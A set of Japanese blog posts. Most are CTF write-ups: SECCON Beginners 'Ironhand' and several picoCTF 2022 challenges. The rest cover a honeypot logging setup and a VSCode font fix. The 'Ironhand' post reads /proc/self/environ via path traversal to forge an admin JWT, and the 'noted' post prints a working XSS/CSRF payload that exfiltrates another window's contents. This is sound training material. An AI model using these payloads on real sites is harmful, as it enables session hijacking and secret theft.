SECCON CTF for Beginners 2022 Web 「Ironhand」Writeup
はじめに
ctf4bおつかれさまでした。運営の皆様もいつもありがとうございます。 IronhandのWriteupがぱっと見なかったので書きます。
score.beginners.azure.noc.seccon.jp
概要
- ログインするとJWTが与えられる
- IsAsminをtrueにしたJWTを持っている状態だと、flagが閲覧できる
- 署名はappの環境変数JWT_SECRET_KEYによって行われている
- appの
/static
APIにはディレクトリトラバーサル脆弱性があり、これを利用して/proc/self/environ
にアクセスし、JWT_SECRET_KEYを手に入れる
詳細
何もせずログインすると以下のような画面が表示されます。
Cookieとして付与されたJWTをデコードすると、IsAdminがfalseです。
appのコードのこの辺を読むと、このIsAdminがtrueならflagが表示される事がわかります。
if claims.IsAdmin { res, _ := http.Get("http://secret") flag, _ := ioutil.ReadAll(res.Body) if err := res.Body.Close(); err != nil { return c.String(http.StatusInternalServerError, "Internal Server Error") } return c.Render(http.StatusOK, "admin", map[string]interface{}{ "username": claims.Username, "flag": string(flag), }) }
同じくappのコードの以下の部分、本来ならstatic/以下のファイルを探すためのコードっぽいですが、パストラバーサルに利用できそうな気がします。Nginxの設定ファイルに見慣れないオプション(merge_slashes off;)があることも気になります。
e.GET("/static/:file", func(c echo.Context) error { path, _ := url.QueryUnescape(c.Param("file")) f, err := ioutil.ReadFile("static/" + path) if err != nil { return c.String(http.StatusNotFound, "No such file") } return c.Blob(http.StatusOK, mime.TypeByExtension(filepath.Ext(path)), []byte(f)) })
色々試してみると、以下のようにパストラバーサル脆弱性があることが分かりました。
脆弱性を利用して/proc/self/environへアクセスすることで、そのプロセスの環境変数を確認します。
JWT_SECRET_KEYが含まれています。
ここで得たJWT_SECRET_KEYを使って、IsAdminがtrueなJWTを作成します。画像のすぐ下に秘密鍵を入力するフォームがあるので、JWT_SECRET_KEYの値を入力します。「secret base64 encoded」はチェックしません。
出力されたJWTをブラウザのクッキーとして設定して更新すると、flagが表示された画面に遷移します。
PicoCTF 2022「unpackme」の復習
はじめに
タイトルのやつをやります。
https://play.picoctf.org/practice/challenge/313?category=3&originalEvent=70&page=1
私的ポイント
UPXを知らなかった。
解き方
ダウンロードしたバイナリを動かしてみます。好きな数字を聞いてくる系のやつ。
$ ./unpackme-upx What's my favorite number? 111 Sorry, that's not it!
以前記事にした問題と同じっぽいです。
Ghidraに投げるも、関数が全然出てこなくてよく分からない。Radareでも状況打開できず。
調べると、UPXなる実行バイナリの圧縮をするソフトウェアがあるらしいことが分かりました。しかも手元のマシンに入ってた。
$ which upx /usr/bin/upx
展開してRadareにかけると、入力の比較対象が 0xb83cb
だと分かって。
$ upx -d unpackme-upx Ultimate Packer for eXecutables Copyright (C) 1996 - 2020 UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020 File size Ratio Format Name -------------------- ------ ----------- ----------- 1002408 <- 379108 37.82% linux/amd64 unpackme-upx Unpacked 1 file. $ r2 unpackme-ups $ r2 unpackme-upx -- Here be dragons. [0x00401c90]> aaaaaa # こんなにいらない ... [0x00401c90]> pdf @ main ; DATA XREF from entry0 @ 0x401cb1 ┌ 246: int main (int argc, char **argv); │ ; var char **var_50h @ rbp-0x50 ... │ 0x00401ef5 8b45c4 mov eax, dword [var_3ch] │ 0x00401ef8 3dcb830b00 cmp eax, 0xb83cb ★ここ! │ ┌─< 0x00401efd 7543 jne 0x401f42... [0x00401c90]>
オシャレにワンライナーでsolveしてみる。
PicoCTF2022「noted」の復習
はじめに
PicoCTF2022のWeb問最難関「noted」、ようやくWriteupを見つけたので自分なりに噛み砕きながら復習していきます。
https://play.picoctf.org/practice/challenge/282?category=1&originalEvent=70&page=1
(自分で把握できた限りの)状況
- ログイン機能を持つノートアプリ。
- ログインした後にPOSTでノートを投稿できる。
- /reportにURLを入力すると、pappeteerが起動してそこへアクセスする。ただし、インターネットへは出られない。以下挙動。
- /registerにアクセスしてユーザーを作成する。
- ノートとしてflagを投稿する。
- 入力されたURLへアクセスする。
知らなかったこと
解き方
自分のユーザーを作って、ノートとして以下のJavaScriptを投稿する。
<script> if (opener) { setTimeout(() => { fetch("http://0.0.0.0:8080/new", { method: "post", credentials: "include", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ title: "a", content: opener.document.body.innerHTML, _csrf: document.body.innerHTML.match(/name="_csrf\" value="(.*)?"/)[1] }), }); }, 1000); } </script>
/reportへ行って、URLとして以下を渡す。
data:text/html, <script> setTimeout(()=>{ open().document.write('<form action="http://0.0.0.0:8080/login" method="post"><input name="username" value="test"><input name="password" value="test"></form><script>setTimeout(()=>{document.forms[0].submit();}, 1000);</'+'script>'); location.href="http://0.0.0.0:8080/"; }, 1000); </script>
すると、Pappeteerが以下のように動く。
- /registerにアクセスしてユーザーを作成する。
- ノートとしてflagを投稿する。
- 入力されたURLへアクセスする。
- 私が作ったユーザー(test / test)としてログインした、新しいウインドウができる。
- もともとのウインドウ(親ウインドウ)は、トップへ遷移する。
- testユーザーのトップにある、親ウインドウのコンテンツをノートとして投稿するJSが実行される。
- 親ウインドウにはflagが表示されているので、それが新しいウインドウに投稿される。
おわりに
そもそもdata:text/html
を知らなかったのでどうしようもなかった感はありますが、与えられた状況でできる最大限の悪いことに気がつけなければならないなーと思いました。
本当のReversing初心者がGhidraでpicoCTF 2022「Bbbbloat」をただ解く
はじめに
ただのWriteupです。
https://play.picoctf.org/practice/challenge/255?category=3&originalEvent=70&page=1
Writeup
とりあえず実行してみると好きな数字を聞かれるので、答えたら「違う、そうじゃない」とのこと。
$ ./bbbbloat What's my favorite number? 111 Sorry, that's not it!
GDBで解こうとしたら「(No debugging symbols found in bbbbloat)」と言われてしまいました。このシンボルというのがないと、デバッグできないらしいです。
しかたがないのでGhidraで開きます。適当なプロジェクトを開いて、bbbbloatをドラッグ&ドロップしました。
左中段のSymbol Treeからentryを選択して、右のDecompileを呼んでみます。FUN_00101307
という関数が最初に実行されるっぽいです。
Symbol TreeからFUN_00101307
を選択してDecompileを読みます。メッセージを表示した後、21行目でlocal_48
と0x86187
を比較していることが分かります。
PythonのREPLでint(0x86187)
を実行すると、549255
という値が返ってきます。これをbbbbloatに渡してやると、flagが出力されます。
本当のReversing初心者がGDBでpicoCTF 2022「GDB Test Drive」をガチャガチャやる
はじめに
Reversing、というかGDBの練習がてら、picoCTF2022の「GDB Test Drive」をいじくり回しました。
https://play.picoctf.org/practice/challenge/273?category=3&originalEvent=70&page=1
よく分かる用語解説
- Reversing
- バイナリをリバースエンジニアリングしてflagを得るCTFの種目
- アセンブリ言語の読解力が問われる
- レジスタ
- CPU内の記憶領域
- 変数みたいに使える
Writeup
問題文の指示に従うだけで、flagが取れるようになっています。
### gdbmeに実行権限を付ける $ chmod +x gdbme ### gdbmeをデバッグ対象としてGDBを起動する $ gdb gdbme ### アセンブリの実行状況を表示する (gdb) layout asm ### main+99(sleep処理)にブレークポイントを設定する (gdb) break *(main+99) ### 実行開始 ### ブレークポイントを設定したので、sleepが実行される直前でストップする (gdb) run ### sleep処理をスキップして次の処理へ ### もうブレークポイントがないので、最後まで実行されてflagが表示される (gdb) jump *(main+104)
勉強のための遠回りWriteup
静的解析
バイナリを実行せずに情報を取得します。まずはfile
コマンド。x64のELF実行バイナリということが分かりました。
$ file gdbme gdbme: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1452b4fe8090256c4ed6f7c4c7ed5b60d2124746, for GNU/Linux 3.2.0, not stripped
strings
コマンド。これでflagが出てくることもありますが、そこまで簡単ではありませんでした。
$ strings gdbme ...(特に手がかりになりそうな情報なし)
rabin2 -z
は、メモリアドレスまで教えてくれるstrings
というつもりで使っていますが、ちょっと違うかもしれない。
$ rabin2 -z gdbme [Strings] nth paddr vaddr len size section type string ――――――――――――――――――――――――――――――――――――――――――――
checksec
。Pwnじゃないので必要ないと思いますが一応。
$ checksec gdbme [*] '/home/akari/work/rev-shugyo/gdbme' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
objdump
で逆アセンブルの結果を見ます。とりあえずmain関数だけ。途中でsleepを呼んでいますね。直前のmov edi,0x186a0
が引数なので、10進数に直すと100,000*1。バイナリを実行するとまず100,000秒待たされた後、rotate_encrypt関数、fputs関数、putchar関数という順番で実行されるようです。
00000000000012c7 <main>: 12c7: f3 0f 1e fa endbr64 12cb: 55 push rbp 12cc: 48 89 e5 mov rbp,rsp 12cf: 48 83 ec 50 sub rsp,0x50 12d3: 89 7d bc mov DWORD PTR [rbp-0x44],edi 12d6: 48 89 75 b0 mov QWORD PTR [rbp-0x50],rsi 12da: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 12e1: 00 00 12e3: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 12e7: 31 c0 xor eax,eax 12e9: 48 b8 41 3a 34 40 72 movabs rax,0x4c75257240343a41 12f0: 25 75 4c 12f3: 48 ba 35 62 33 46 38 movabs rdx,0x4362383846336235 12fa: 38 62 43 12fd: 48 89 45 d0 mov QWORD PTR [rbp-0x30],rax 1301: 48 89 55 d8 mov QWORD PTR [rbp-0x28],rdx 1305: 48 b8 30 35 43 60 47 movabs rax,0x6030624760433530 130c: 62 30 60 130f: 48 ba 68 66 34 62 66 movabs rdx,0x4e32676662346668 1316: 67 32 4e 1319: 48 89 45 e0 mov QWORD PTR [rbp-0x20],rax 131d: 48 89 55 e8 mov QWORD PTR [rbp-0x18],rdx 1321: c6 45 f0 00 mov BYTE PTR [rbp-0x10],0x0 1325: bf a0 86 01 00 mov edi,0x186a0 132a: e8 e1 fd ff ff call 1110 <sleep@plt> 132f: 48 8d 45 d0 lea rax,[rbp-0x30] 1333: 48 89 c6 mov rsi,rax 1336: bf 00 00 00 00 mov edi,0x0 133b: e8 c9 fe ff ff call 1209 <rotate_encrypt> 1340: 48 89 45 c8 mov QWORD PTR [rbp-0x38],rax 1344: 48 8b 15 c5 2c 00 00 mov rdx,QWORD PTR [rip+0x2cc5] # 4010 <stdout@GLIBC_2.2.5> 134b: 48 8b 45 c8 mov rax,QWORD PTR [rbp-0x38] 134f: 48 89 d6 mov rsi,rdx 1352: 48 89 c7 mov rdi,rax 1355: e8 96 fd ff ff call 10f0 <fputs@plt> 135a: bf 0a 00 00 00 mov edi,0xa 135f: e8 5c fd ff ff call 10c0 <putchar@plt> 1364: 48 8b 45 c8 mov rax,QWORD PTR [rbp-0x38] 1368: 48 89 c7 mov rdi,rax 136b: e8 40 fd ff ff call 10b0 <free@plt> 1370: b8 00 00 00 00 mov eax,0x0 1375: 48 8b 4d f8 mov rcx,QWORD PTR [rbp-0x8] 1379: 64 48 33 0c 25 28 00 xor rcx,QWORD PTR fs:0x28 1380: 00 00 1382: 74 05 je 1389 <main+0xc2> 1384: e8 57 fd ff ff call 10e0 <__stack_chk_fail@plt> 1389: c9 leave 138a: c3 ret 138b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
TODO:readelf(これもPwnで見ればよさそう?)
動的解析
単純にバイナリを動かしてみます。案の定次の結果は表示されず。100,000秒は待っていられないので、次いきます。
$ ./gdbme
gdbmeに実行権限を付けた後、GDBを起動します。
$ chmod +x gdbme $ gdb gdbme
以下のコマンドを実行すると、画面に実行状況と現在のレジスタの状態を表示してくれます。レジスタの状態は、バイナリを実行したら表示されます。
(gdb) layout asm (gdb) layout r
このまま実行したら100,000秒待たされるので、実行を停止する箇所(ブレークポイント)を設定します。指定した位置の処理が実行される直前で止まります。ここではsleepが実行される直前で止まるように、sleep処理の位置を指定します。位置はメモリ番地でもいいし、以下のようにGDBが計算してくれた?関数内の番地でもいいです。
(gdb) b *(main+99)
すると、さっきlayout asm
で表示したフィールドの、ブレークポイントを設定した位置にb+
と表示されるようになりました。便利過ぎ。
ではいよいよ実行です。
(gdb) run
>
が指しているのが現在位置で、ブレークポイントで処理が止まっているのが分かります。
これをこのまま実行すると100,000秒待たされます。さくっと次に行きたいので、jump
を使います。
(gdb) jump *(main+104)
すると、sleepが実行されずにその次のmain+104を処理し、そのまま最後まで実行されます。標準出力にflagが表示されています。
flagはいつ表示されるのか?
この問題のキモは「いかにしてsleepを迂回するか」ということでした。jump
を実行した時点でバイナリが最後まで実行されてしまったので、flagがどの位置の処理によって表示されたのかがよく分かりません。それを確認するために、もう一度run
してsleep処理の直前まで来ました。ここで新たにmain+116にブレークポイントを設定してからjump *(main+104)
します。すると、main+116で処理が止まります。
ここから、nexti
で1行ずつ、かつcall
による関数呼び出しがあった場合は関数内へ処理を移さずに、1行の処理として進めます。以下はfputsの処理が終わったところです。
putcharの処理が終わったところで、flagが表示されました。
レジスタの値を操作してsleepの時間を短くする
sleepをjump
で迂回しましたが、もう1つの方法としてsleepの引数を変えてしまうというのがあります。sleepの直前を見るとmov $0x186a0,%edi
という処理があります。0x186a0が100,000であるということは前述の通りですが、これがrdiレジスタ*2を経由してsleepに引数として渡ります。どこに保存されている引数が何個目の引数として次の関数に渡されるかはアーキテクチャ毎の関数呼び出し規約によって決められていますが、あんまり詳しくないのでここでは割愛します。とりあえず画面上部のレジスタ状態を見ると、rdiに0x186a0が入っていることが分かります。
これを、以下のコマンドで0x1に書き換えてみます。
(gdb) set $rdi=0x1
書き換えたところです。rdiが0x1になっているのが分かります。
continue
で処理を実行したところ、1秒の停止の後にflagが表示されました。
おわりに
以下のコマンドの使い道を学びました。GDBめちゃくちゃ便利だなと思いました。
- run
- continue
- b
- nexti
- layout asm
- layout r
今日の今日までlayout
を知りませんでした。一応gdb-pedaもセットアップしているのですが、そこに頼るレベルにはまだなさそうです。RevやPwnは俺TSUEEE感の湧く種目なので、精進していきます。
ハニーポット(WOWHoneypot)のログをスプレッドシートに入れて、データポータルで可視化してみた
はじめに
先日ツイートしたWOWHoneypotのログをスプレッドシートに流してデータポータルで可視化するというやつ、ようやっとGitHubリポジトリに公開しました。
元ツイートはこちら。
OSSのハニーポット「WOWHoneypot」のログをGoogleのスプレッドシートへ自動で出力するスクリプトを書いて、更にデータポータルで可視化してみた。貧乏SIEM。 pic.twitter.com/u9q5wXmxEZ
— shinobe179 (@shinobe179) 2022年5月3日
多くの方に使ってみてほしいので、READMEよりももうちょっと丁寧なセットアップ手順を書きます。後半で説明するデータポータルでの可視化までやっても、Lightsailの料金しか発生しないはずのハニーポット環境です。金曜お休みの方はもちろん、そうでない方も土日に、なんならGW中でなくてもいいのでぜひお試しください。
謝辞
今回お世話になった方々(順不同)です。おふたりとも誠にありがとうございました!
- @morihi_soc さん
- WOWHoneypotをまるっとリポジトリに入れて公開することをお許しいただきました
- tokizo(id:tokizuoh)さん
- toizoさんの旧ブログの記事をベースに最初のwatcherを実装し、公開の許可をいただきました
- 現在はwatchdogではなくpygtailによる実装になっています
詳細な手順
GCP:APIの有効化
プロジェクトを作って、左上のハンバーガーメニューから「APIとサービス」をクリックします。
メイン画面左上の「APIとサービスの有効化」をクリックします。
検索フォームが出てくるので、「sheet」「drive」などと検索して、Google Sheets APIとGoogle Drive APIをそれぞれ有効化しましょう。
次は認証情報です。左ペインの「認証情報」をクリックします。
メイン画面左上の「認証情報を作成」をクリックして、「サービス アカウント」を選択します。
サービスアカウント名やIDは任意のもので大丈夫です。ここでは「honeypot」としました。残りの設定は不要なので、「完了」ボタンをクリックします。
認証情報画面に戻ってくるので、今作ったサービスアカウントのアドレスをクリックします。
「キー」タブをクリックして、「鍵を追加」、「新しい鍵を作成」をクリックします。
キーのタイプは「JSON」にして、「作成」をクリックします。JSONファイルがダウンロードされるので、大事にとっておいてください。後で使います。
Google Workspaces:スプレッドシートの作成
スプレッドシートを作って、名前を付けます。「honeypot-log」だと後が楽ですが、私のドライブには同名のスプシがあるので「honeypot-log-sample」とします。シート名も任意のもので大丈夫ですが、こちらも「Sheet1」のままだと後が楽です。
1行目はヘッダーとして使います。デフォルトでは左から以下の値が入ります。
- タイムスタンプ
- 送信元IPアドレス
- 宛先ホスト名
- リクエストヘッドライン
- ステータスコード
- ルールマッチ有無(WOWHoneypotの機能です)
- リクエスト全体
- User-Agentヘッダーの内容
- リクエストメソッド
- リクエストパス
- センサーID
- センサーの地域
それぞれ好きな名前を付けて構いませんが、以下の手順だと楽にできると思います。
- A1に
timestamp source_ip dest_host request status_code match payload user_agent request_method request_path sensor_id sensor_region
を貼り付ける - 右下に出てくるクリップボードアイコンをクリックして「Split to columns」をクリックする
- セパレーターとして「Space」をクリックする
これが
こうなって
こうじゃ
スプレッドシートの共有先として、先ほど作ったサービスアカウントを編集権限で追加します。サービスアカウントのメールアドレスは、ダウンロードしたJSONファイルを開くと「client_email」というフィールドに書いてあります。
Google関連の作業は一旦これでおしまいです。
AWS
Lightsailを立てます。任意のリージョンで、Amazon Linux 2、OS Onlyで立ててください。インスタンスプランはデフォルトのもので、少なくとも私の手元では動いています。
サーバーのステータスがRunningになったら、右上のターミナルアイコンをクリックして、ターミナルを開きます。
ターミナルで以下のコマンドを順番に実行していきます。先頭の $
は含めないでください。
$ sudo yum -y update $ sudo yum -y install git $ git clone https://github.com/shinobe179/wowhoneypot-with-spreadsheet.git $ cd wowhoneypot-with-spreadsheet
Vimもしくは任意のエディタで honeypot-watcher/client_secret.json
を開いて、コメントを消して、GCPからダウンロードしたJSONファイルの内容をまるごとコピペしてください。
$ vim honeypot-watcher/client_secret.json
更に honeypot-watcher/config.py
を開いて、中身を編集してください。現在4つのパラメータがあり、意味はそれぞれ以下の通りです。
- sensor_id
- センサー(ハニーポット)の識別子。ログに記録される。
- sensor_region
- センサー(ハニーポット)がある地域。ログに記録される。
- book_name
- ログを書き込むスプレッドシートのファイル(ブック)名。
- sheet_name
- ログを書き込むシート名。
ここまで終わったら、以下のコマンドを実行すれば自動でセットアップが進みます。Makefileというファイルに書かれている処理が実行されます。
$ sudo make
不安だったら、以下のコマンドを実行していずれも Active: active (running)
と表示されていれば、ひとまずはOKです。
$ systemctl status WOWHoneypot.service $ systemctl status honeypot-watcher.service
テスト
以下のコマンドを実行して、ログがスプレッドシートに書き込まれれば成功です。
$ curl localhost:8080
わーい。
その後
スプレッドシートへの書き出しがうまくいったら、やってみるとよさそうなこと達です。むしろ本番かもしれません。
データポータルでの可視化
Twitterで言っていた「貧乏SIEM」です。SIEMって高かったり、それなりのマシンスペックが必要だったりするので、趣味で持つにはちょっとハードルが高いです。たまたまGoogleデータポータルなるものがあることを知っていたので、「これ使ったら無料でSIEMやれるんじゃないか……?」というのが、今回の取り組みのきっかけでした。結果、うまくいってよかったです。
以降、さわりの部分だけ手順を紹介します。
手順
画面右上の「Create」をクリックし、「Data source」をクリックします。
「Google Sheets」をクリックします。
自分が作ったブック名とログが書き込まれるシート名を選択したら、右上の「CONNECT」ボタンをクリックします。
各列の型を自動でマッピングしてくれます。とりあえずこのまま、右上の「CREATE REPORT」ボタンをクリックします。
「Add a Chart」からグラフを追加できます。各グラフで可視化する値やスタイルなどは、右のペインから選択できます。ガチャガチャいじってれば慣れるので、あとはあなたの感性で思い思いのグラフを描いてください。
参考までに、私のダッシュボードです。一番上には全ログ数とリージョン毎のログ数、その次の段には時系列タイムラインで時間毎のログ数を出しています。それより下は各項目の内訳をテーブルで出しています。バー付きのテーブルが見やすくて多用しています。逆に円グラフなどの視覚的・直感的なグラフは全然使っていません。文字情報を追いかけたいからですかね?
最下部には、リクエスト全体を列に持つテーブルを置いています(画像は割愛)。上のグラフやテーブルで絞り込んで、詳細はこのテーブルで見る、という感じです。
WOWHoneypotの本家リポジトリ利用
今回、WOWHoneypotのソースコードをそのままリポジトリに入れてあります。ログに記録する情報を増やす目的でWOWHoneypotのソースコードを編集しているからです。これだと本家の更新に追従できないので、慣れている方は本家をクローンしてきて、そちらを使うことをおすすめします。
GDPRについて
IPアドレスはGDPRでの保護対象になるとかならないとかって話があって、WOWHoneypotにはまさにGDPR対策として、IPアドレスを全て「0.0.0.0」で記録する機能がついています。デフォルトで無効なので、各自で有効化をご検討ください。個人的にはパスやボディの内容が興味深い一方で、IPアドレスは「IPアドレスだなあ」以上も以下もない*1ので、妙なリスクを負ってまで集めることもないかなと思います。
2022-05-14追記
リポジトリ内のWOWHoneypotに、IPアドレスのSHA256ハッシュをログに記録する機能を付けました。IPアドレスそのものを知る必要はないけど、送信元の区別は付けたい、という場合に使ってみてください。ただし、ハッシュ化されていればGDPRに照らして問題ないという確証は一切ないので、その点はご了承ください。
さいごに
多くの方に興味を持っていただけたようだったので、ちょっと頑張って作ったり書いたりしました。何人かでも試してみていただけたらうれしいです。
*1:MaxMind社のGeoIPデータベースを使って地理情報と紐付けるのも一興ですが、正確性の面で否定的かつもっともな意見も散見されるので、やってないし、今後もやらないと思います
VSCodeのターミナルのフォントが全角でキモい
はじめに & 結論
Kali LinuxにインストールしたVSCodeがタイトルの通りの状況でした。結論、フォントを変えれば直ります。変更前はmonospaceというフォントになっていました。気持ちよく解決に繋がる記事が案外インターネットになかったので、転がしておきます。
before
after
手順
フォントをインストールする
Ricty Dminishedというやつにしました。
Zipファイルをダウンロードします。
以下、CLIで操作します。
### Zipファイルを展開する $ unzip RictyDiminished-for-Powerline-master.zip ### 使いたいフォントを/usr/share/fontsへ移動する $ cd RictyDiminished-for-Powerline-master $ sudo mv RictyDiminishedDiscord-Regular.ttf /usr/share/fonts/ ### フォントキャッシュを更新する $ fc-cache -fv ### 使いたいフォントが反映されていることを確認する $ fc-list | grep -i ricty